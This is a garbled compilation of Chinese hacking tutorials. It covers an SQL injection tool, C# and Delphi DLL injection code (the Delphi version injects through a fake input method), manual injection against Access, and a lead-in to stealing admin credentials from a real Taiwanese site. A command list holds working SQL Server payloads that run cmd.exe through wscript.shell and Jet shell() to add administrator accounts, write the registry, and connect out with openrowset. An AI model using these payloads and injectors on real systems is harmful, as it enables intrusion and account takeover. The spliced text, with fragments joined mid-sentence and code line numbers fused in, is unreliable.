啊D注入工具详细教程

合集下载

C# dll注入方法之介绍

C# dll注入方法之介绍

C# dll注入方法之介绍本文带着读者共同体验C# DLL注入之旅事实上dll注入很简单,无非就是调用virtualAllocEx,WriteProcessMemory,OpenProcess,CreateRemoteThread等API函数,因为我是学c#的,所以也想看一下c# dll注入这方面的文章,但在网上找了半天,没有找到一篇,也许是c#刚兴起的缘故,学c#的并不多,没办法,只好自己移植一下,因为凡是用到API函数,所有的编程的语言都是相同的,这就为我们的移植带来了方便,学c#的一般应该对API的调用概念很淡,因为c#通常不会去调用API函数,因为这些已经被封装了,在vb,vc++等语言中要结束一个进程,首先就必须要得到这个进程的句柄,然后才能进行相应的关闭进程等操作,得到句柄要用到OpenProcess API函数,结束进程要用到TerminateProcess API函数,但是在c#中你根本不需要知道这些API函数就能完成同样的功能,所以你要是想了解一下API的相关知识,学一点vb是一个很好的选择。

好了!下面就开始我们的c# dll注入之旅吧!首先需要加入以下API函数:[DllImport("kernel32.dll")]public static extern int VirtualAllocEx(IntPtr hwnd, int lpaddress, i nt size, int type, int tect);[DllImport("kernel32.dll")]public static extern int WriteProcessMemory(IntPtr hwnd, int baseaddr ess, string buffer, int nsize, int filewriten );[DllImport("kernel32.dll")]public static extern int GetProcAddress(int hwnd, string lpname);[DllImport("kernel32.dll")]public static extern int GetModuleHandleA(string name);[DllImport("kernel32.dll")]public static extern int CreateRemoteThread(IntPtr hwnd, int attrib, int size, int address, int par, int flags, int threadid);C#声明API比较复杂,因为是调用非托管的dll,所以要用到DllImport来调用非托管的dll,他还有很多属性在这就不多说了,网上有很介绍,可以去查一下,不过c#调用自身的变得动态链接库是倒是很方便,直接加个引用就ok了,调用dll要用的一个引用:using System.Runtime.InteropServices;这个不要忘了加上,下面是编好的所有代码:ing System;ing System.Collections.Generic;ing ponentModel;ing System.Data;ing System.Drawing;ing System.Text;ing System.Windows.Forms;ing System.Runtime.InteropServices;ing System.Diagnostics;space dllinject11.{12.public partial class Form1 : Form13.{14.[DllImport("kernel32.dll")] //声明API函数15.public static extern int VirtualAllocEx(IntPtr hwnd, int lpad dress, int size, int type, int tect);16.[DllImport("kernel32.dll")]17.public static extern int WriteProcessMemory(IntPtr hwnd, int baseaddress, string buffer, int nsize, int filewriten );18.[DllImport("kernel32.dll")]19.public static extern int GetProcAddress(int hwnd, string lpna me);20.[DllImport("kernel32.dll")]21.public static extern int GetModuleHandleA(string name);22.[DllImport("kernel32.dll")]23.public static extern int CreateRemoteThread(IntPtr hwnd, int attrib, int size, int address, int par, int flags, int threadid);24.public Form1()25.{26.InitializeComponent();27.}28.29.private void button1_Click(object sender, EventArgs e)30.{31.int ok1;32.//int ok2;33.//int hwnd;34.int baseaddress;35.int temp=0;36.int hack;37.int yan;38.string dllname;39.dllname = "c:\\dll.dll";40.int dlllength;41.dlllength = dllname.Length + 1;42.Process[] pname = Process.GetProcesses(); //取得所有进程43.foreach (Process name in pname) //遍历进程44.{45.//MessageBox.Show(name.ProcessName.ToLower());46.if (name.ProcessName.ToLower().IndexOf("notepad") != -1) //所示记事本,那么下面开始注入47.{48.49.baseaddress = VirtualAllocEx(name.Handle, 0, dlllength , 4096 , 4); //申请内存空间50.if (baseaddress == 0) //返回0则操作失败,下面都是51.{52.MessageBox.Show("申请内存空间失败!!");53.Application.Exit();54.}55.ok1 = WriteProcessMemory(name.Handle, baseaddress, dllname, d lllength, temp); //写内存56.if (ok1 == 0)57.{58.59.MessageBox.Show("写内存失败!!");60.Application.Exit();61.}62.hack = GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibr aryA"); //取得loadlibarary在kernek32.dll地址63.if (hack == 0)64.{65.MessageBox.Show("无法取得函数的入口点!!");66.Application.Exit();67.}68.yan = CreateRemoteThread(name.Handle, 0, 0, hack, baseaddress , 0, temp); //创建远程线程。

啊D常用注入命令

啊D常用注入命令

select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------
// 执行命令
//---------------- Nhomakorabea------
执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

dll注入原理

dll注入原理

DLL注入原理简介在计算机领域中,DLL(Dynamic Link Library,动态链接库)是一种包含函数、数据和资源的可执行文件。

DLL注入是一种技术,它允许一个进程将其代码注入到另一个进程的地址空间中,以便在目标进程中运行自定义代码。

DLL注入在软件开发、系统调试、恶意软件分析等领域具有重要的应用。

DLL注入的原理DLL注入的基本原理是将一个DLL文件注入到目标进程的地址空间中,并强制目标进程加载并执行该DLL文件中的代码。

DLL注入一般分为以下几个步骤:1. 选择目标进程在进行DLL注入之前,首先需要选择一个目标进程,即将要注入的进程。

目标进程可以是任何正在运行的进程,但需要注意的是必须具有足够的权限来修改目标进程的地址空间。

2. 创建远程线程在注入DLL之前,需要在目标进程中创建一个远程线程。

远程线程是在一个进程的上下文中运行的线程,可以通过API函数创建。

3. 加载DLL文件将DLL文件加载到目标进程的地址空间中。

可以使用API函数LoadLibrary来实现DLL文件的加载。

这个函数将返回DLL模块的基地址,即加载到目标进程的内存中的DLL的起始地址。

4. 获取加载的DLL模块句柄通过GetModuleHandle函数获取之前加载的DLL模块的句柄,以便后续调用DLL模块中的函数。

5. 获取函数地址通过GetProcAddress函数获取DLL模块中需要调用的函数的地址。

可以通过函数名或者函数的序号来查找函数地址。

6. 执行注入代码在远程线程中执行注入代码,即调用DLL模块中的函数。

通过在远程线程的上下文中设置指令指针为DLL模块中函数的地址,从而实现注入。

7. 清理注入在注入代码执行完毕后,需要进行注入的清理工作。

可以通过远程线程发送指令给目标进程,使之从其地址空间中卸载已经注入的DLL模块。

DLL注入的技术实现DLL注入可以通过各种技术手段来实现,下面介绍几种常用的DLL注入技术:1. LoadLibrary注入LoadLibrary注入是一种常见的DLL注入技术,它通过调用目标进程的LoadLibrary函数来加载DLL文件。

全程图解手工注入

全程图解手工注入

全程图解手工注入声明:原创文章,转载请指名来自华夏黑客联盟(),违者必究!回忆起刚学注入的时候,网上的教程杂乱无章,更郁闷的是。

文章被无数次转载,很多常用的命令都出现错误,导致学习的很慢,差点对手工注入失去了信心。

为了帮助初学者学习手工注入,从盲注和sql显错方式注入详细的写了图解教程,希望对初学者有帮助。

第一部分盲注过程(使用了access数据库)一、寻找注入点:使用经典的1=1 和1=2测试法输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26,显示输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=1时,显示输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=2时,显示发生异常,存在注入漏洞.二、判断数据库类型(一)iis允许返回错误的情况输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and user > 0,显示“Microsoft JET Database Engine (0x80040E07)标准表达式中数据类型不匹配”,表明数据库为Access。

(二)如果服务器IIS不允许返回错误,就从从Access和SQLServer和区别入手。

Access 和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26and (select count(*) from msysobjects)>0,显示如下图,由此可判断数据库类型为Access。

菜鸟进阶之注入工具自己写

菜鸟进阶之注入工具自己写

六、结尾的话
VBS开头定义了COOKIE,但是后面构造数据包那里我给注释了,需要用就自己改吧。VBS里还有一个URLEncoding()函数,自己研究吧!工具里存了一个注入点,全部默认能看到效果。
工具的优点是很灵活,只要会写语句就能用,字符型,搜索型都没问题,速度也很快,缺点是要求小黑会用基本的注入语句(小黑要加油啦)。希望大家自己完善一下,打造成独门利器。
loop
三、单变量猜解
这个函数可以猜测字段数,管理员密码长度,准确的说它应该叫过程,因为它没有返回值。需要主意的是,因为使用折半查找法,构造语句时比较符号一定要用大于号“>”,否则不能正常使用。代码很简单,如下:
sub onevariable()
wscript.echo "单变量猜解"
文章多有疏漏,还请多多指教!
先读取注入语句,再建创建FSO,接着打开文件,OpenTextFile的第二个参数是打开模式,参数如下。1,打开一个只读文件,不能对此文件进行写操作。2,打开一个用于写操作的文件。如果和此文件同名的文件已存在,则覆盖以前内容。8,打开一个文件并写到文件的尾部。我们常见的QQ木马收信脚本使用的就是8这个模式。判断循环的条件是是否到文件尾,接着逐行读入、转义关键字、注入、存储结果、输出。运行效果如图3。
四、双变量猜解
双变量猜解说白了就是加了外个循环,可以理解成加强版的单变量猜解。代码如下:
sub morevariable()
wscript.echo "双变量猜解"
result=""
dim sql
sql=inputbox("注入语句",,"默认注入语句")

DLL的11种注入方法资料

DLL的11种注入方法资料

闲着没事整理了一下DLL的N种注入方法,对学习外挂的朋友,应该有用!第一种方法:利用CreateRemoteThread 远程建立线程的方式注入DLL.首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的.function EnableDebugPriv : Boolean;varhToken : THANDLE;tp : TTokenPrivileges;rl : Cardinal;beginresult := false;//打开进程令牌环OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);//获得进程本地唯一IDif LookupPrivilegeValue(nil, 'SeDebugPrivilege',tp.Privileges[0].Luid) thenbegintp.PrivilegeCount := 1;tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;//调整权限result := AdjustTokenPrivileges(hToken, False, tp,sizeof(tp), nil, rl);end;end;关于OpenProcessToken() 和AdjustTokenPrivileges() 两个API的简单介绍:OpenProcessToken():获得进程访问令牌的句柄.function OpenProcessToken(ProcessHandle: THandle; //要修改访问权限的进程句柄DesiredAccess: DWORD; //指定你要进行的操作类型var TokenHandle: THandle): BOOL; //返回的访问令牌指针AdjustTokenPrivileges() :调整进程的权限.function AdjustTokenPrivileges(TokenHandle: THandle; // 访问令牌的句柄DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限const NewState: TTokenPrivileges; // 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作;BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为0var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息var ReturnLength: DWORD //实际PreviousState结构返回的大小) : BOOL;远程注入DLL其实是通过CreateRemoteThread 建立一个远程线程调用LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。

注入工具

注入工具

使用啊D批量注入 使用啊D
具体的操作步骤如下: 步骤 05在检测出的数据表中选择某个数据表后,单击【检测字段】按钮,即可检测 出该数据表包含的字段,如图4-14所示。 步骤 06勾选检测出的数据库字段列表前面的复选框后,单击【检测内容】按钮,即 可检测出选中的数据库字段包含的内容,如用户名、密码等,如图4-15所示。 步骤 07在【啊D注入工具V2.32】主窗口中单击【管理入口检测】按钮,即可打开【 管理入口检测】窗口,在“网址检测”文本框中输入要检测的地址,如图4-16所 示。
PHP注入工具ZBSI PHP注入工具ZBSI 注入工具
1 2 ZBSI功能简介 使用ZBSI实现注入攻击
专家课堂(常见问题与解答) 专家课堂(常见问题与解答)
点拨1:SQL注入攻击的危害性非常大,要怎样从网站程序设计初始就严防SQL注入漏洞 的产生? 解答:由于在进行SQL注入攻击前,黑客需要在可修改参数中提交“'”、“and”等特 殊字符,以判断是否存在注入漏洞;而在实施SQL注入时,需要提交“;”、“--” 、“select”、“union”、“update”各种字符构造相应的SQL注入语句。在防范 SQL注入时,程序设计者需要注意可能产生安全问题的地方,其关键就是用户输入 数据的入口处。 点拨2:使用“SQL通用防注入程序”如何才能使整个网站都可以防注入? 解答:将下载的“SQL通用防注入程序V3.2”存放在自己网站所在文件夹中,如果想使 整个网站可以防注入,则可在数据库连接文件中加入“<!--#include file="Neeao_SqlIn.Asp"-->”代码,这样,整个网站任意页面都可以调用防注入 程序。
使用啊D批量注入 使用啊D
具体的操作步骤如下: 步骤 02在“检测网址”文本框中输入要检测的网址,单击【打开网址】按钮 ,即 可检测该网站是否存在注入漏洞。如果存在漏洞,则会将其显示在“可用注入点 ”栏目中,如图4-11所示。 步骤 03在扫描出来的“可用注入点”列表中右击要注入的网址,在弹出的快捷菜单 中选择“注入检测”选项,即可进入【注入检测】主窗口,如图4-12所示。 步骤 04单击【检测】按钮即可进行注入检测,待检测完毕后,单击【检测表段】按 钮即可对网页中用到的数据表进行检测,如图4-13所示。

delphi输入法注入完整版

delphi输入法注入完整版

delphi 输入法注入完整版代码思路原作者,不详.......................膜拜第一位作者的开创思维本人只是稍作修改和写入一些原作者没有告诉的东西首先输入法必备的19个接口自己不要删除,不然输入法编译出来安装失败不要狗叫= =其次输入法的文件类型要设置为驱动,子类型要设置为输入法才能被ImmInstallIME函数安装,不然安装失败不能注入如何修改参照最下面的方法------------------------------------------------------------------思路:1.创建一个文件映射对象,映射到内存,写入需要注入的dll名称,进程ID2.保存原有默认输入法句柄,复制输入法程序到系统目录,并调用ImmInstallIME安装输入法3.创建事件对象,以便同步dll的加载与卸载。

4.向目标进程的窗口句柄发送WM_INPUTLANGCHANGEREQUEST消息,lParam为输入法句柄5.等待注入完成,广播WM_INPUTLANGCHANGEREQUEST消息,lParam为原有默认输入法句柄6.卸载输入法,释放事件对象。

先来ime输入法,记得把编译出来的程序后缀设置为ime library Ime;usesWindows,SysUtils,Classes,Psapi,ImeMain in'ImeMain.pas',ImeInject in 'ImeInject.pas';{$E ime}{$R Ime.res}procedure MyDllProc(Reason: Integer);varLoadDllEvent:THandle;UnLoadDllEvent:THandle;begincase Reason ofDLL_PROCESS_ATTACH:beginUnLoadDllEvent:=OpenEvent(EVENT_ALL_ACCESS,False,G UID_UNLOADDLL);ifUnLoadDllEvent&gt;0 thenbeginResetEvent(UnLoadDllEvent);end;RegisterImeWindow;GetImeInjectInfo(@InjectInfo);ifInjectInfo.ProcessId=GetCurrentProcessId thenbeginLoadDllEvent:=OpenEvent(EVENT_ALL_ACCESS,False,GUI D_LOADDLL);LoadLibrary(@InjectInfo.DllName);if LoadDllEvent&gt;0 thenbeginSetEvent(LoadDllEvent);end;end;end;DLL_PROCESS_DETACH:beginUnRegisterImeWindow;UnLoadDllEvent:=OpenEvent(EVENT_ALL_ACCESS,False,G UID_UNLOADDLL);ifUnLoadDllEvent&gt;0 thenbeginSetEvent(UnLoadDllEvent);end;end;end;end;exports ImeConversionList, ImeConfigure, ImeDestroy,ImeEscape,ImeInquire, ImeProcessKey, ImeSelect,ImeSetActiveContext, ImeSetCompositionString, ImeToAsciiEx,NotifyIME, ImeRegisterWord, ImeUnregisterWord,ImeGetRegisterWordStyle, ImeEnumRegisterWord,UIWndProc,StatusWndProc,CompWndProc,CandWndProc;beginDllProc :=@MyDllProc;MyDllProc(DLL_PROCESS_ATTACH); end.----------------------------------------------------- ime的主要单元unit ImeMain;interfaceuses Windows,SysUtils,Classes,Imm,ImeInject; constIME_WINDOWCLASSNAME='Ime';IME_SMODE_NONE=$0000;UI_CAP_2700=$00000001;SELECT_CAP_CONVERSION=$00000001; // IMEproperty bitsIME_PROP_END_UNLOAD=$00000001;IME_PROP_KBD_CHAR_FIRST=$00000002;IME_PROP_IGNORE_UPKEYS=$00000004;IME_PROP_NEED_ALTKEY=$00000008;IME_PROP_NO_KEYS_ON_CLOSE=$00000010;IME_PROP_AT_CARET=$00010000;IME_PROP_SPECIAL_UI=$00020000;IME_PROP_CANDLIST_START_FROM_1=$00040000; IME_PROP_UNICODE=$00080000;IME_PROP_COMPLETE_ON_UNSELECT=$00100000; typePImeInfo=^TImeInfo;TImeInfo=recorddwPrivateDataSize:DWORD;fdwProperty:DWORD;fdwConversionCaps:DWORD;fdwSentenceCaps:DWORD;fdwUICaps:DWORD;fdwSCSCaps:DWORD;fdwSelectCaps:DWORD;end;PTransMsg = ^TTransMsg; TTransMsg = recordmessage:uInt;wParam: WParam;lParam: LParam;end;PTransMsgList= ^TTransMsgList; TTransMsgList = recorduMsgCount: uInt; TransMsg: array[0..0] of TTransMsg;end;PPrivContext =^TPrivContext;TPrivContext = recordiImeState: Integer;fdwImeMsg: DWord;dwCompChar: DWord;fdwGcsFlag: DWord;uSYHFlg:uInt;uDYHFlg: uInt;uDSMHCount: uInt;uDSMHFlg:uInt;bSeq: array[0..12] of Char; // sequence code of input charfdwGB: DWord;end;function RegisterImeWindow:BOOL;procedureUnRegisterImeWindow;functionImeConversionList(hImc:HIMC;lpSource:PChar;lpCandList:PC andidateList;uBufLen,uFlag:UINT):DWORD;stdcall;functionImeConfigure(hKl:HKL;hWnd:HWND;dwMode:DWORD;lpD ata:Pointer):BOOL;stdcall;function ImeDestroy(uForce:UINT):BOOL;stdcall;functionImeEscape(hImc:HIMC;uSubFunc:UINT;lpData:PChar):LRES ULT;stdcall;functionImeInquire(lpImeInfo:PImeInfo;lpszUIClass:PChar;lpszOption: DWORD):BOOL;stdcall;functionImeProcessKey(hImc:HIMC;uKey:UINT;lKeyData:LPARAM;lpbKeyState:PKeyboardState):BOOL;stdcall;functionImeSelect(hImc:HIMC;fSelect:BOOL):BOOL;stdcall; functionImeSetActiveContext(hImc:HIMC;fFlag:BOOL):BOOL;stdcall; functionImeSetCompositionString(hImc:HIMC;dwIndex:DWORD;lpCo mp:Pointer;dwComp:DWORD;lpRead:Pointer;dwRead:DWORD):BOOL;st dcall;functionImeToAsciiEx(uVKey,uScanCode:UINT;lpbKeyState:PKeyboar dState;lpdwTransKey:PTransMsgList;fuState:UINT;hImc:HIMC):UIN T;stdcall;functionNotifyIME(hImc:HIMC;dwAction:DWORD;dwIndex:DWORD ;dwValue:DWORD):BOOL;stdcall;functionImeRegisterWord(lpszReading:PChar;dwStyle:DWORD;lpszStr ing:PChar):BOOL;stdcall;functionImeUnregisterWord(lpszReading:PChar;dwStyle:DWORD;lpsz String:PChar):BOOL;stdcall;functionImeGetRegisterWordStyle(nItem:UINT;lpStyleBuf:PStyleBuf): UINT;stdcall;functionImeEnumRegisterWord(lpfnRegisterWordEnumProc:RegisterW ordEnumProc;lpszReading:PChar;dwStyle:DWORD;lpszString:PChar;lpData: Pointer):UINT;stdcall;functionUIWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;lPar am:LPARAM):LRESULT;stdcall;functionStatusWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;l Param:LPARAM):LRESULT;stdcall;functionCompWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;l Param:LPARAM):LRESULT;stdcall;functionCandWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;l Param:LPARAM):LRESULT;stdcall;varInjectInfo:TImeInject;implementationfunction RegisterImeWindow:BOOL;varwc:WNDCLASSEX;beginwc.style:=CS_IME or CS_VREDRAW or CS_HREDRAW or CS_DBLCLKS;wc.lpfnWndProc:=@UIWndProc;wc.cbClsExtra:=0;wc.cbWndExtra:=0;wc.hInstance:=HInstance;wc.hIcon:=0;wc.hCursor:=LoadCursor(0,IDC_ARROW );wc.hbrBackground:=GetStockObject(WHITE_BRUSH);wc.lpszMenuName:=nil;wc.lpszClassName:=IME_WINDOWCLASSNAME;wc.hIconSm:=0;Result:=Windows.RegisterClassEx(wc)&lt;&gt;0;end;procedure UnRegisterImeWindow;beginWindows.UnregisterClass(IME_WINDOWCLASSNAME,HIns tance);end;functionImeConversionList(hImc:HIMC;lpSource:PChar;lpCandList:PC andidateList;uBufLen,uFlag:UINT):DWORD;beginResult:=0;end;functionImeConfigure(hKl:HKL;hWnd:HWND;dwMode:DWORD;lpD ata:Pointer):BOOL;beginResult:=dwMode=IME_CONFIG_GENERAL;end;function ImeDestroy(uForce:UINT):BOOL;beginResult:=notBOOL(uForce);end;functionImeEscape(hImc:HIMC;uSubFunc:UINT;lpData:PChar):LRES ULT;beginResult:=0;end;functionImeInquire(lpImeInfo:PImeInfo;lpszUIClass:PChar;lpszOption: DWORD):BOOL;beginResult := False;lpImeInfo.dwPrivateDataSize:=SizeOf(TPrivContext);lpImeInfo.fdwProperty:=IME_PROP_KBD_CHAR_FIRST or IME_PROP_IGNORE_UPKEYS;lpImeInfo.fdwConversionCaps:=IME_CMODE_FULLSHAPE or IME_CMODE_NATIVE;lpImeInfo.fdwSentenceCaps:=IME_SMODE_NONE;lpImeInfo.fdwUICaps:=UI_CAP_2700;lpImeInfo.fdwSCSCaps:=0;lpImeInfo.fdwSelectCaps:=SELECT_CAP_CONVERSION;StrCopy(lpszUIClass,IME_WINDOWCLASSNAME); Result:=True;end;functionImeProcessKey(hImc:HIMC;uKey:UINT;lKeyData:LPARAM;lpbKeyState:PKeyboardState):BOOL;beginResult:=False;end;function ImeSelect(hImc:HIMC;fSelect:BOOL):BOOL; beginResult:=True;end;functionImeSetActiveContext(hImc:HIMC;fFlag:BOOL):BOOL; beginResult:=True;end;functionImeSetCompositionString(hImc:HIMC;dwIndex:DWORD;lpCo mp:Pointer;dwComp:DWORD;lpRead:Pointer;dwRead:DWORD):BOOL; beginResult:=False;end;functionImeToAsciiEx(uVKey,uScanCode:UINT;lpbKeyState:PKeyboar dState;lpdwTransKey:PTransMsgList;fuState:UINT;hImc:HIMC):UIN T;beginResult:=0;end;functionNotifyIme(hImc:HIMC;dwAction:DWORD;dwIndex:DWORD;dwValue:DWORD):BOOL;beginResult:=False;end;functionImeRegisterWord(lpszReading:PChar;dwStyle:DWORD;lpszStr ing:PChar):BOOL;beginResult:=False;end;functionImeUnregisterWord(lpszReading:PChar;dwStyle:DWORD;lpsz String:PChar):BOOL;beginResult:=False;end;functionImeGetRegisterWordStyle(nItem:UINT;lpStyleBuf:PStyleBuf): UINT;beginResult:=0;end;functionImeEnumRegisterWord(lpfnRegisterWordEnumProc:RegisterW ordEnumProc;lpszReading:PChar;dwStyle:DWORD;lpszString:PChar;lpData: Pointer):UINT;beginResult:=0;end;functionUIWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;lPar am:LPARAM):LRESULT;beginResult:=0;end;functionStatusWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;l Param:LPARAM):LRESULT;beginResult:=0;end;functionCompWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;l Param:LPARAM):LRESULT;beginResult:=0;end;functionCandWndProc(hWnd:HWND;Msg:UINT;wParam:WPARAM;l Param:LPARAM):LRESULT;beginResult:=0;end;end.---------------------------------------------------------------ime和注入程序的公共单元unit ImeInject;interfaceuses Windows,SysUtils;constGUID_INJECT='{7E145D1D-663A-5BDC-EA47-B11342BF23 15}';GUID_LOADDLL='{7E145D1D-663A-5BDC-EA47-B11342B F2416}';GUID_UNLOADDLL='{7E145D1D-663A-5BDC-EA47-B113 42BF2517}';typePImeInject= ^TImeInject;TImeInject= packed recordDllName:array[0..MAX_PATH] of Char;//注入的dll路径ProcessId:DWORD;//注入的进程IDend;procedure CreateImeInjectInfo(DllName: string; ProcessId: DWORD; var FileMapHandle:THandle); procedureGetImeInjectInfo(ImeInject:PImeInject);implementationprocedure CreateImeInjectInfo(DllName:string; ProcessId: DWORD; var FileMapHandle:THandle);varInjectInfo:PImeInject;beginFileMapHandle:=0;FileMapHandle :=CreateFileMapping(INV ALID_HANDLE_V ALUE,nil,PAGE_R EADWRITE,0,SizeOf(TImeInject),GUID_INJECT);//以可读写形式创建有名文件映象if FileMapHandle &gt; 0 then //返回的文件映射对象句柄不为零beginInjectInfo:=MapViewOfFile(FileMapHandle,FILE_MAP_ALL_ ACCESS,0,0,0);//在调用的进程中地址空间映射一个可完全控制文件视图if InjectInfo&lt;&gt;nil then//如果返回的映射视图的起始地址不为空beginZeroMemory(InjectInfo,SizeOf(TImeInject)); //TImeInject结构内存填零CopyMemory(@(InjectInfo.DllName),PChar(DllName),MAX_ PATH-1);//填写结构体里的内容InjectInfo.ProcessId:=ProcessId; //填写进程IDUnmapViewOfFile(InjectInfo); // 删除映射视图end;end;end;procedure GetImeInjectInfo(ImeInject:PImeInject);varFileMapHandle:THandle;InjectInfo:PImeInject;beginZeroMemory(ImeInject,SizeOf(TImeInject)); //结构体内存填零FileMapHandle:=OpenFileMapping(FILE_MAP_READ,False, GUID_INJECT);//打开GUID_INJECT的文件映射if FileMapHandle&gt;0 thenbeginInjectInfo:=MapViewOfFile(FileMapHandle,FILE_MAP_REA D,0,0,0);ifInjectInfo&lt;&gt;nil thenbeginCopyMemory(ImeInject,InjectInfo,SizeOf(TImeInject));UnmapViewOfFile(InjectInfo);end;CloseHandle(FileMapHandle);end;end;end.-----------------------------------------------------------------------------------------注入程序,注意引用ImeInject 单元,Imm 单元和Registry 单元constWM_INPUTLANGCHANGEREQUEST = $0050; varFileMapHandle: THandle;Procedure Inject(WindowName:string;Dllpath:string); varWindowHandle:THandle;InjectProcessId: DWORD;LoadDllEvent: THandle;UnLoadDllEvent: THandle; DefaultImeHandle: THandle;ImeHandle:THandle;ImeId: string;ImePath: string;SysDir:array[0..MAX_PATH] of Char;beginWindowHandle := FindWindow(nil,PChar(WindowName));if WindowHandle &gt; 0 thenbeginGetWindowThreadProcessId(WindowHandle, InjectProcessId);ifInjectProcessId &gt; 0 thenbeginif FileMapHandle &gt; 0thenCloseHandle(FileMapHandle); CreateImeInjectInfo(PChar(Dllpath), InjectProcessId,FileMapHandle);if FileMapHandle &gt; 0 thenbeginSystemParametersInfo(SPI_GETDEFAULTINPUTLANG, 0, @DefaultImeHandle,0);ZeroMemory(@SysDir, MAX_PATH);GetSystemDirectory(@SysDir, MAX_PATH);ImePath := string(SysDir) +'\ImeInject.ime';//复制输入法文件到系统目录ifCopyFile(PChar(ExtractFilePath(Application.ExeName) + 'ImeInject.ime'),PChar(ImePath), False) thenbegin//安装输入法ImeHandle :=ImmInstallIME(PChar(ImePath), 'zhusjm输入法');if ImeHandle &gt; 0thenbeginUnLoadDllEvent := CreateEvent(nil, True, True, GUID_UNLOADDLL);LoadDllEvent := CreateEvent(nil, True, False, GUID_LOADDLL);//向目标窗口发送激活输入法的消息PostMessage(WindowHandle,WM_INPUTLANGCHANGERE QUEST, 0,ImeHandle);//等待注入完成if WaitForSingleObject(LoadDllEvent, 3000) = WAIT_OBJECT_0 thenbeginShowMessage('注入成功');//广播消息,使我们的输入法卸载PostMessage(HWND_BROADCAST,WM_INPUTLANGCHANGEREQUEST, 0,DefaultImeHandle);//等待输入法卸载ifWaitForSingleObject(UnLoadDllEvent, 3000) =WAIT_OBJECT_0 thenbeginend;end;UnloadKeyboardLayout(ImeHandle);DeleteFile(ImePath);CloseHandle(UnLoadDllEvent);CloseHandle(LoadDllEvent);end;end;end;end;end;end;?---------------------------------------------------------------------因为ime的文件类型要设置为驱动,子类型要设置为输入法才能被ImmInstallIME函数安装,不然安装失败输入法ime的资源文件,新建rc写入以下内容用delphi的brcc32.exe编译成res 然后ime 里面引用这个资源再编译出来ime输入法才能被ImmInstallIME函数安装VS_VERSION_INFO VERSIONINFO //版本信息结构FILEVERSION 1,0,0,1//文件版本PRODUCTVERSION 1,0,0,1 //这里是主版本信息FILEFLAGSMASK 0x3fL//这里设为0x3fL就好#ifdef _DEBUGFILEFLAGS 0x1L//VS_FF_DEBUG包括debug信息#elseFILEFLAGS 0x0L //无#endifFILEOS0x4L //win32程序FILETYPE 0x3L //文件类型,2是dll,1是exe,3是VFT_DRV 驱动程序FILESUBTYPE 0xbL //VFT2_DRV_INPUTMETHOD 输入法驱动程序BEGINBLOCK"StringFileInfo" //这里设置文件其他的版本信息(详细信息) BEGINBLOCK "080403A8"//所用语言080403A8简体中文BEGINV ALUE "Comments","Microsoft(R)Windows(R) Operating System" //备注V ALUE"CompanyName","Microsoft(R)\0" //公司名V ALUE"FileDescription", "zhu.ime\0" //产品描述V ALUE "FileVersion", "1.0. 0. 1\0" //文件版本V ALUE "InternalName", ""//内部名称V ALUE "LegalCopyright", "Copyright (C) 2000.01\0" //版权信息V ALUE "OriginalFilename", "zhu.ime\0"//源文件名V ALUE "ProductName", "zhu.ime\0" //产品名V ALUE "ProductVersion", "1. 0. 0. 1\0" //产品版本ENDENDBLOCK "VarFileInfo"BEGINV ALUE "Translation", 0x804, 0x03A8ENDEND。

sql注入高级教程

sql注入高级教程

SQL注入高级教程前言如果我们想回家该怎么做?很简单找到门口打开锁(可以用自己钥匙或万能钥匙或者干脆直接破坏锁)然后就进去。

这几个步骤也可以归为入侵的一种途径。

——文骏哥下文中涉及对方网站主页的部分都用刷子刷黑了其他地方没有处理下图是一个在台湾很有名的网站找到管理后台(找到房子的门)然后用破解出的账号和密码登录(用钥匙打开门)我们整理下思路:1,找门口2,开锁其中找门口已经在《黑客中、高级教程之找后台》中谈到成功率很高的几种方法当然为了防止有心人搞破坏我最拿手的方法并没有公布。

接下来就是开锁其中锁指的就是账号、密码。

账号密码可以通过SQL爆出来一、新人的困惑曾经在网络上看到一位菜鸟感叹自己生不逢时。

当他开始学习黑客技术时,SQL漏洞已经很难找到了。

